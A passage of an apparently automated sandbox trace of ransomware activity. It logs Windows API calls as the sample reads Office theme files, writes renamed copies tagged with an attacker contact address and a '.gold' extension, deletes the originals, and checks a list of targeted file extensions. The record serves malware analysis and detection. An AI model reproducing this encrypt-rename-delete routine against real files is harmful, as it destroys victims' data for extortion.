lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.596] WriteFile (in: hFile=0x394, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0096.596] SetEndOfFile (hFile=0x394) returned 1 [0096.597] CloseHandle (hObject=0x394) returned 1 [0096.597] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.597] SetEndOfFile (hFile=0x190) returned 1 [0096.598] CloseHandle (hObject=0x190) returned 1 [0096.599] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.599] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx")) returned 1 [0096.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0096.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0096.600] lstrlenW (lpString=".doc") returned 4 [0096.600] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0096.600] lstrlenW (lpString=".docx") returned 5 [0096.600] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0096.600] lstrlenW (lpString=".pdf") returned 4 [0096.600] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0096.600] lstrlenW (lpString=".xls") returned 4 [0096.600] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0096.600] lstrlenW (lpString=".xlsx") returned 5 [0096.600] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0096.600] lstrlenW (lpString=".ppt") returned 4 [0096.600] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0096.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0096.600] lstrlenW (lpString=".zip") returned 4 [0096.600] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0096.600] lstrlenW (lpString=".rar") returned 4 [0096.600] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0096.600] lstrlenW (lpString=".bz2") returned 4 [0096.600] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0096.600] lstrlenW (lpString=".7z") returned 3 [0096.600] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0096.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0096.600] lstrlenW (lpString=".dbf") returned 4 [0096.600] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0096.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0096.600] lstrlenW (lpString=".1cd") returned 4 [0096.600] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0096.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0096.600] lstrlenW (lpString=".jpg") returned 4 [0096.600] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0096.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0096.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0096.600] lstrlenW (lpString=".doc") returned 4 [0096.600] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0096.600] lstrlenW (lpString=".docx") returned 5 [0096.600] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0096.601] lstrlenW (lpString=".pdf") returned 4 [0096.601] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0096.601] lstrlenW (lpString=".xls") returned 4 [0096.601] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0096.601] lstrlenW (lpString=".xlsx") returned 5 [0096.601] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0096.601] lstrlenW (lpString=".ppt") returned 4 [0096.601] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0096.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0096.601] lstrlenW (lpString=".zip") returned 4 [0096.601] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0096.601] lstrlenW (lpString=".rar") returned 4 [0096.601] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0096.601] lstrlenW (lpString=".bz2") returned 4 [0096.601] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0096.601] lstrlenW (lpString=".7z") returned 3 [0096.601] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0096.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0096.601] lstrlenW (lpString=".dbf") returned 4 [0096.601] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0096.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0096.601] lstrlenW (lpString=".1cd") returned 4 [0096.601] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0096.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0096.601] lstrlenW (lpString=".jpg") returned 4 [0096.601] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0096.601] lstrcmpiW (lpString1=".eftx", lpString2=".gold") returned -1 [0096.601] lstrlenW (lpString="Solstice.eftx") returned 13 [0096.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0096.602] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=27781) returned 1 [0096.602] CloseHandle (hObject=0x190) returned 1 [0096.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx")) returned 0x20 [0096.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0096.602] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.602] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0096.603] GetLastError () returned 0x0 [0096.603] ReadFile (in: hFile=0x190, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x6c85, lpOverlapped=0x0) returned 1 [0096.605] WriteFile (in: hFile=0x394, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x6c90, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x6c90, lpOverlapped=0x0) returned 1 [0096.606] ReadFile (in: hFile=0x190, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.606] WriteFile (in: hFile=0x394, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xee, lpOverlapped=0x0) returned 1 [0096.606] SetEndOfFile (hFile=0x394) returned 1 [0096.606] CloseHandle (hObject=0x394) returned 1 [0096.606] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.606] SetEndOfFile (hFile=0x190) returned 1 [0096.611] CloseHandle (hObject=0x190) returned 1 [0096.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.611] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx")) returned 1 [0096.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0096.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0096.611] lstrlenW (lpString=".doc") returned 4 [0096.611] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0096.611] lstrlenW (lpString=".docx") returned 5 [0096.612] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0096.612] lstrlenW (lpString=".pdf") returned 4 [0096.612] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0096.612] lstrlenW (lpString=".xls") returned 4 [0096.612] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0096.612] lstrlenW (lpString=".xlsx") returned 5 [0096.612] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0096.612] lstrlenW (lpString=".ppt") returned 4 [0096.612] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0096.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0096.612] lstrlenW (lpString=".zip") returned 4 [0096.612] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0096.612] lstrlenW (lpString=".rar") returned 4 [0096.612] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0096.612] lstrlenW (lpString=".bz2") returned 4 [0096.612] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0096.612] lstrlenW (lpString=".7z") returned 3 [0096.612] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0096.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0096.612] lstrlenW (lpString=".dbf") returned 4 [0096.612] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0096.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0096.612] lstrlenW (lpString=".1cd") returned 4 [0096.612] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0096.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0096.612] lstrlenW (lpString=".jpg") returned 4 [0096.612] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0096.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0096.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0096.612] lstrlenW (lpString=".doc") returned 4 [0096.612] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0096.612] lstrlenW (lpString=".docx") returned 5 [0096.612] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0096.612] lstrlenW (lpString=".pdf") returned 4 [0096.612] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0096.612] lstrlenW (lpString=".xls") returned 4 [0096.612] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0096.612] lstrlenW (lpString=".xlsx") returned 5 [0096.612] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0096.612] lstrlenW (lpString=".ppt") returned 4 [0096.612] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0096.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0096.612] lstrlenW (lpString=".zip") returned 4 [0096.612] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0096.612] lstrlenW (lpString=".rar") returned 4 [0096.612] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0096.612] lstrlenW (lpString=".bz2") returned 4 [0096.612] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0096.612] lstrlenW (lpString=".7z") returned 3 [0096.612] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0096.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0096.612] lstrlenW (lpString=".dbf") returned 4 [0096.612] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0096.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0096.613] lstrlenW (lpString=".1cd") returned 4 [0096.613] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0096.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0096.613] lstrlenW (lpString=".jpg") returned 4 [0096.613] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0096.613] lstrcmpiW (lpString1=".eftx", lpString2=".gold") returned -1 [0096.613] lstrlenW (lpString="Technic.eftx") returned 12 [0096.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0096.616] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=23692) returned 1 [0096.616] CloseHandle (hObject=0x190) returned 1 [0096.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx")) returned 0x20 [0096.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0096.616] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.616] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0096.617] GetLastError () returned 0x0 [0096.617] ReadFile (in: hFile=0x190, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x5c8c, lpOverlapped=0x0) returned 1 [0096.618] WriteFile (in: hFile=0x394, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x5c90, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x5c90, lpOverlapped=0x0) returned 1 [0096.619] ReadFile (in: hFile=0x190, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.619] WriteFile (in: hFile=0x394, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xec, lpOverlapped=0x0) returned 1 [0096.619] SetEndOfFile (hFile=0x394) returned 1 [0096.620] CloseHandle (hObject=0x394) returned 1 [0096.620] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.620] SetEndOfFile (hFile=0x190) returned 1 [0096.621] CloseHandle (hObject=0x190) returned 1 [0096.622] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.622] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx")) returned 1 [0096.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0096.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0096.622] lstrlenW (lpString=".doc") returned 4 [0096.622] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0096.622] lstrlenW (lpString=".docx") returned 5 [0096.622] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0096.622] lstrlenW (lpString=".pdf") returned 4 [0096.622] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0096.622] lstrlenW (lpString=".xls") returned 4 [0096.622] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0096.622] lstrlenW (lpString=".xlsx") returned 5 [0096.622] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0096.622] lstrlenW (lpString=".ppt") returned 4 [0096.622] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0096.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0096.623] lstrlenW (lpString=".zip") returned 4 [0096.623] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0096.623] lstrlenW (lpString=".rar") returned 4 [0096.623] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0096.623] lstrlenW (lpString=".bz2") returned 4 [0096.623] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0096.623] lstrlenW (lpString=".7z") returned 3 [0096.623] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0096.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0096.623] lstrlenW (lpString=".dbf") returned 4 [0096.623] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0096.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0096.623] lstrlenW (lpString=".1cd") returned 4 [0096.623] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0096.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0096.623] lstrlenW (lpString=".jpg") returned 4 [0096.623] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0096.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0096.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0096.623] lstrlenW (lpString=".doc") returned 4 [0096.623] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0096.623] lstrlenW (lpString=".docx") returned 5 [0096.623] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0096.623] lstrlenW (lpString=".pdf") returned 4 [0096.623] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0096.623] lstrlenW (lpString=".xls") returned 4 [0096.623] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0096.623] lstrlenW (lpString=".xlsx") returned 5 [0096.623] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0096.623] lstrlenW (lpString=".ppt") returned 4 [0096.623] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0096.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0096.623] lstrlenW (lpString=".zip") returned 4 [0096.623] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0096.623] lstrlenW (lpString=".rar") returned 4 [0096.623] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0096.623] lstrlenW (lpString=".bz2") returned 4 [0096.623] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0096.623] lstrlenW (lpString=".7z") returned 3 [0096.623] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0096.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0096.623] lstrlenW (lpString=".dbf") returned 4 [0096.623] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0096.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0096.623] lstrlenW (lpString=".1cd") returned 4 [0096.623] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0096.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0096.623] lstrlenW (lpString=".jpg") returned 4 [0096.623] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0096.623] lstrcmpiW (lpString1=".eftx", lpString2=".gold") returned -1 [0096.624] lstrlenW (lpString="Thatch.eftx") returned 11 [0096.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0096.624] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=41295) returned 1 [0096.624] CloseHandle (hObject=0x190) returned 1 [0096.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx")) returned 0x20 [0096.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0096.625] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.625] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0096.625] GetLastError () returned 0x0 [0096.625] ReadFile (in: hFile=0x190, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0xa14f, lpOverlapped=0x0) returned 1 [0096.627] WriteFile (in: hFile=0x394, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xa150, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xa150, lpOverlapped=0x0) returned 1 [0096.628] ReadFile (in: hFile=0x190, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.628] WriteFile (in: hFile=0x394, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xea, lpOverlapped=0x0) returned 1 [0096.628] SetEndOfFile (hFile=0x394) returned 1 [0096.629] CloseHandle (hObject=0x394) returned 1 [0096.629] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.629] SetEndOfFile (hFile=0x190) returned 1 [0096.631] CloseHandle (hObject=0x190) returned 1 [0096.631] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.631] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft 